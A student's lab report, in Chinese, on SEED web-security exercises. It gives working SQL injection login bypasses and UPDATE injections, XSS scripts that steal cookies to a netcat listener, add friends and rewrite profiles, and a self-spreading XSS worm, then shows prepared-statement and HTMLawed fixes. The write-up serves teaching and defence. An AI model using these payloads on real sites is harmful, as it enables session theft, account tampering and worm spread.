20212923 2021-2022-2 《網絡攻防實踐》第十次作業
實踐十:Web應用程序安全攻防
課程:《網絡攻防實踐》
班級: 2129
姓名: 王文彬
學號:20212923
實驗教師:王志強
實驗日期:2022年5月21日
必修/選修: 選修
一.實踐內容
1. 實踐要求介紹
-
實踐內容一
- 我們已經創建了一個Web應用程序,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程序是一個簡單的員工管理應用程序。員工可以通過此Web應用程序查看和更新數據庫中的個人信息。此Web應用程序主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料信息。員工是一般角色,可以查看或更新自己的個人資料信息。完成以下任務:
- 任務1: 熟悉SQL語句: 我們已經創建了一個名爲Users的數據庫,其中包含一個名爲creditential的表。該表存儲了每個員工的個人信息(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用數據庫來熟悉SQL查詢。
- 任務2: 對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程序。
- 任務3: 對UPDATE語句的SQL注入攻擊:通過員工的更新個人界面實施UPDATE語句的SQL注入攻擊。
- 任務4: SQL對抗:修復上述SQL注入攻擊漏洞。
- 我們已經創建了一個Web應用程序,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程序是一個簡單的員工管理應用程序。員工可以通過此Web應用程序查看和更新數據庫中的個人信息。此Web應用程序主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料信息。員工是一般角色,可以查看或更新自己的個人資料信息。完成以下任務:
-
實踐內容二
- 爲了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設置了一個名爲Elgg的Web應用程序。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在用戶之間傳播XSS蠕蟲,這樣,無論是誰查看的受感染用戶個人資料都將被感染。
- 任務1: 發佈惡意消息,顯示警報窗口:在您的Elgg配置文件中嵌入一個JavaScript程序,以便當另一個用戶查看您的配置文件時,將執行JavaScript程序並顯示一個警報窗口。
- 任務2: 彈窗顯示cookie信息:將cookie信息顯示。
- 任務3: 竊取受害者的cookies:將cookie發送給攻擊者。
- 任務4: 成爲受害者的朋友:使用js程序加受害者爲朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。
- 任務5: 修改受害者的信息:使用js程序使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
- 任務6: 編寫XSS蠕蟲。
- 任務7: 對抗XSS攻擊。
- 爲了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設置了一個名爲Elgg的Web應用程序。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在用戶之間傳播XSS蠕蟲,這樣,無論是誰查看的受感染用戶個人資料都將被感染。
Web應用安全威脅
- 知識點總結:
- 注入:將不受信任的數據作爲命令或查詢的一部分發送到解析器時,會產生注入SQL注入、NoSQL注入、OS注入、LDAP注入缺陷;
- 失效的身份驗證:通過錯誤使用應用程序的身份認證和會話管理功能,攻擊者能夠破譯密碼、密鑰、或會話令牌
- 敏感信息泄露:許多Web程序和API都無法保護敏感數據,攻擊者可通過竊取或修改未加密數據來實施身份盜竊等犯罪行爲
- XML外部實體(XXE):許多較早的或配置錯誤的XML處理器評估的XML文件中的外部實體引用。攻擊者可利用外部實體竊取內部文件、執行遠程代碼
- 失效的訪問控制:未對通過身份驗證的用戶實施恰當的訪問控制
- 安全配置錯誤:安全配置錯誤是最常見的安全問題,這通常是由於不安全默認配置、不完整的臨時配置、開源雲錯誤等造成
- 跨站腳本(XSS):XSS讓攻擊者能夠在受害者的瀏覽器中執行腳本,並劫持用戶會話、破壞網站或將用戶重定向到惡意站點
- 不完全的反序列化:不安全的反序列化會導致遠程代碼執行
- 使用含有已知漏洞的組件:組件如庫、框架和其他軟件模塊擁有和應用程序相同的權限
- 不足的日誌記錄和監控:不足的日誌記錄和監控,以及事件影響缺失或無效集成,使攻擊者能夠進一步攻擊系統、保持持續性、篡改、提取或銷燬數據
SQL注入攻擊原理
- 知識點總結:
- SQL 注入(SQLi)是一種可執行惡意 SQL 語句的注入攻擊。這些 SQL 語句可控制網站背後的數據庫服務。攻擊者可利用 SQL 漏洞繞過網站已有的安全措施。他們可繞過網站的身份認證和授權並訪問整個 SQL 數據庫的數據。他們也可利用 SQL 注入對數據進行增加、修改和刪除操作。
- SQL 注入可影響任何使用了 SQL 數據庫的網站或應用程序,例如常用的數據庫有 MySQL、Oracle、SQL Server 等等。攻擊者利用它,便能無需授權地訪問你的敏感數據,比如:用戶資料、個人數據、商業機密、知識產權等等。SQL 注入是一種最古老、最流行、也最危險的網站漏洞。OWASP 組織(Open Web Application Security Project)在 2017 年的 OWASP Top 10 文檔中將注入漏洞列爲對網站安全最具威脅的漏洞。
- SQL注入是利用Web應用程序數據層存在的輸入驗證不完善安全漏洞的一類代 碼注入攻擊技術。 這類被攻擊的漏洞被稱爲SQL注入漏洞,是由於用戶輸入沒有被正確地過濾以消除SQL語言中的字符串轉義字符, 如引號、 雙引號 、 反引號、 分號等,或者沒有進行嚴格的類型判斷,如爲判斷輸入參數是否合法整數類型等,從而使得用戶可以輸入並執行一些非預期的SQL指令代碼。
- SQL 注入攻擊的原理是向Web應用程序提供的用戶輸入接口(如一個動態頁面的輸入參數、 表單的輸入框, 等等)輸入一段精心構造的 SQL 查詢命令, 攻擊和利用不完善的輸入驗證機制, 使得注入代碼得以執行完成非預期的攻擊操作行爲。
實踐_One —— 任務一:熟悉SQL語句,查看存儲在數據庫中的員工的一些基本信息
STEP 1: 關於數據庫的命令,我們大多數本科學習過計算機的同學們應該大多都有接觸過,在此次實踐任務中主要所用到的也是基礎命令,類似與 show databases;
、use XXX;
等,這裏需要注意的是,sql語句後同樣也是需要輸入分號(;)的哦!!
STEP 2: 我們輸入命令mysql -u root -p
後回車,輸入密碼seedubuntu
進入數據庫;
STEP 3: 我們可以輸入show databases;查看當前數據庫中存在的表;
STEP 4: 該試驗任務中,我們所使用的表是User
,我們輸入命令use Users;show tables;
後可以看到我們有一個表credential
;
STEP 5: 我們輸入命令select * from credential;
打印表中的數據,可以看到用戶的信息;
實踐_One —— 任務二:針對SELECT語句的SQL注入攻擊
STEP 1: 我們可以觀察文檔中的sql語句,我們首先通過兩個變量值對前端傳到後端的參數進行保存,程序檢查是否有任何記錄與提供的用戶名和密碼匹配;如果存在匹配項,則表明用戶已成功通過身份驗證,並獲得了相應的員工信息。 如果不匹配,則認證失敗。
STEP 2: 現在我們知道管理員的賬戶名是admin,在不知道密碼的情況下實行SQL注入攻擊進入Web應用。當我們使用字符串admin '#進行登錄,字符串admin '#
進行登錄;
STEP 3: 同時我們也可以輸入'or TRUE or'
進行登陸,因爲通過一個true的判斷,直接可以拿到整張表的數據,因爲從代碼中,我們可以看到,首先取到的0號位置的數據,因此通過這個方式登陸我們進入的是Alice的賬號
實踐_One —— 任務三:對UPDATE語句的SQL注入攻擊
STEP 1: 首先我們同樣先去看看代碼中的這部分是如何進行操作的,我們可以看到,在處理數據中,sql語句並沒有加有什麼權限問題,因此,這個updata說明是可以被注入攻擊的。
STEP 2: 我們可以通過在輸入用戶名的地方,可以輸入Admin1',Salary='1234567
,因此#後的語句全都被註釋了,因此就直接修改了用戶Admin、的工資,我們可以看數據已經被修改成功了。
STEP 3: 接下來,我們可以用相似的方法對用戶的密碼進行攻擊,我們首先使用工具查看以下123的哈希值是多少,然後我們可以通過', Password='40bd001563085fc35165329ea1ff5c5ecbdbbeef' where Name='Boby';#
作爲用戶名輸入後,發現可以用123進行登陸
實踐_One —— 任務四:SQL對抗,修復上述SQL注入攻擊漏洞
STEP 1: 我們可以使用預處理代碼,用參數進行綁定,綁定了用戶名和hash之後的密碼,同時再次對結果進行綁定。因爲SQl注入漏洞的本質原因是由於執行語句和數據放在一起導致的,使用預處理語句機制可以很好的防止這一攻擊出現。可以簡單的理解爲編譯過的要執行的SQL語句模板,可以使用不同的變量參數定製它。
STEP 2: 我們可以觀察文件,這個部分是對select
漏洞代碼的修改
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
if (!$result = $conn->query($sql)) {
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
die('There was an error running the query [' . $conn->error . ']\n');
echo "</div>";
}
/* convert the select return result into array type */
$return_arr = array();
while($row = $result->fetch_assoc()){
array_push($return_arr,$row);
}
/* convert the array type to json format and read out*/
$json_str = json_encode($return_arr);
$json_a = json_decode($json_str,true);
$id = $json_a[0]['id'];
$name = $json_a[0]['name'];
$eid = $json_a[0]['eid'];
$salary = $json_a[0]['salary'];
$birth = $json_a[0]['birth'];
$ssn = $json_a[0]['ssn'];
$phoneNumber = $json_a[0]['phoneNumber'];
$address = $json_a[0]['address'];
$email = $json_a[0]['email'];
$pwd = $json_a[0]['Password'];
$nickname = $json_a[0]['nickname'];
STEP 3: 我們可以觀察文件,這個部分是對update
漏洞代碼的修改
if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
$sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
$sql->execute();
$sql->close();
}else{
// if passowrd field is empty.
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);
$sql->execute();
$sql->close();
}
實踐_Two —— SEED XSS跨站腳本攻擊實驗(Elgg)
XSS (Cross Site Scripting) 跨站腳本攻擊從 20 世紀 90 年代就已經出現,近年來隨着Web技術的發展與普及應用, XSS 已經超過傳統的緩衝區溢出攻擊,成爲排名最靠前的安全威脅類型之一,近年來大量知名網站,包括 Twitter、 Facebook 、 MySpace 以及國內的百度、 搜狐、人人、開心網等都曾被發現多個 XSS 安全漏洞,研究數據也表明近68%的網站易受XSS攻擊威脅,這些都表明 XSS 攻擊已經成爲目前 Web 應用程序最爲嚴重和普遍的安全問題。與代碼注入攻擊不同的是,XSS 跨站腳本攻擊的最終目標不是提供服務的 Web 應用程序, 而是使用Web 應用程序的用戶。 XSS 跨站腳本漏洞存在於 Web 應用程序中,使得攻擊者可以在 Web頁面中插入惡慈的 HTML或 JavaScript代碼,當用戶瀏覽該網頁時,客戶端瀏覽器就會解析和執行這些插入的代碼,從而造成獲取用戶敏感信息、客戶端滲透攻擊等危害後果。
- 實驗環境:
- SEED Ubuntu 16.04
- Elgg社交Web應用網站
- 網站
http://www.xsslabelgg.com
,以及相關的文件夾/var/www/XSS/Elgg/
- 使用
HTTP Header Live
檢查HTTP頭,需要我們自己在firefox安裝插件目錄進行安裝 - 一些用戶名及密碼
userna | pw |
---|---|
admin | seedelgg |
alice | seedalice |
boby | seedboby |
ryan | seedryan |
實踐_Two —— 任務一:發佈惡意消息,顯示警報窗口
STEP 1:我們首先在主頁打開XSS網頁,並且使用alice的賬戶進行登陸Elgg。
STEP 2: 在該實踐中,我們主要需要在alice的個人主頁中的個人信息編輯中,對Brief description域中添加JavaScript代碼並保存,其目的在於能夠讓訪問alice個人主頁的人看到警告窗口;
STEP 3: 我們添加<script>alert('XSS');</script>
並保存;
STEP 4: 我們再切換爲boby的賬戶後,訪問alice的個人主頁就可以看到警報窗口。
實踐_Two —— 任務二:彈窗顯示cookie信息
STEP 1: 該實踐與上一實踐類似,需要我們在alice個人主頁Brief description
域中添加JavaScript代碼添加<script>alert('XSS');</script>
即可;
STEP 2: 我們使用boby的賬號去訪問alice的個人主頁即可以看到自己的cookie信息。
實踐_Two —— 任務三:竊取受害者的cookies
STEP 1: 我們可以通過Javascript插入一個圖片,其src
屬性可以設置爲攻擊者的機器地址進行攻擊,讓靶機將cookies
發送的攻擊者的設置端口上,使得攻擊者開啓一個監聽後,可以打印任何收到的內容;
STEP 2: 在這裏我們添加代碼<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>
STEP 3: 我們在主機上輸入命令nc -l 5555 -v
,對其進行監聽,後續可以看到監聽到的cookie。
實踐_Two —— 任務四:成爲受害者的朋友
STEP 1: 首先我們需要檢查自己的firefox中有沒有安裝HTTP Header
Live,沒有安裝的小夥伴,可以通過瀏覽器中tools
中對插件進行下載並安裝。
STEP 2: 我們接觸過一些前端知識的小夥伴肯定知道前端與後端的每一次交互,即一次action
,我們可以看到add friend
的操作中的參數內容(本人在做此次實驗中,由於一開始不知道如何去顯示HTTP Header點擊後的內容,總是點擊變白,等待無響應,就用了Wireshark。但是!!!其實只需要再點擊一下右鍵即可。。。。),我們可以看到elgg_ts和 elgg_token
,這是Elgg本身自帶的一套嚴格的表單驗證方法,通過纔可以進行加朋友。同樣,我們可以看到朋友的id
和cookie
,通過這些東西我們構造了javascript腳本。
STEP 3: 下面代碼即爲我們構造的代碼,現在我們繼續將這段代碼放進alice的About me中,需要注意的是,需要使用的是edit HTML
模式;
STEP 4: 接下來,我們使用boby訪問alice主頁,可以看到,boby自動添加alice爲好友。
實踐_Two —— 任務五:修改受害者的信息
STEP 1: 該實踐目的在於被攻擊者訪問alice主頁,即可以改變被攻擊者主頁的內容;
STEP 2: 我們繼續在alice個人主頁部分添加以下代碼,可以對content
變量進行修改。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice_wwb.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
STEP 3: 當我們使用boby的賬號登陸後訪問alice主頁即可以發現,boby主頁about me被修改了。
實踐_Two —— 任務六:編寫XSS蠕蟲
STEP 1: 在之前的實踐中,我們也已經接觸了什麼是蠕蟲病毒,其實就是如何去讓代碼去傳播,去繁殖的過程。在該任務中,我們主要採用的是DOM API
的方式,簡單來講就是將web界面與javascript腳本連接在一起。
STEP 2: 我們主要使用的是innerHTML
方法,我們將以下代碼放入alic
的about me
中;
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
vaar userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by wwb attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}</script>
STEP 3: 我們可以通過觀察HTTP Header
中看到進行了拼接;
STEP 4: 我們使用boby的賬號對alice
進行訪問後,可以發現自己已經被攻擊,同時,再使用Samy
的賬號登陸,訪問boby
發現,也已經被攻擊,說明蠕蟲已經進行了繁殖。
實踐_Two —— 任務七:對抗XSS攻擊
STEP 1: Elgg本身已經提供對抗XSS攻擊的插件,我們利用管理員賬戶進行登錄,使用插件HTMLawed
,將其打開。
STEP 2: 我們再返回alice
的賬號中,發現XSS攻擊已經失效,代碼也被顯示出來。
二、 實驗過程中遇到的問題和解決過程
- 在實踐過程中,使用HTTP Header live中,發現點擊不能夠顯示詳細界面
- 我們需要再右鍵點擊一次界面即可以顯示出來。
三、感想
在此次實踐中,學習了sql注入攻擊以及XSS,能夠讓我們將來在編寫信息系統的時候使用sql語句更加警惕。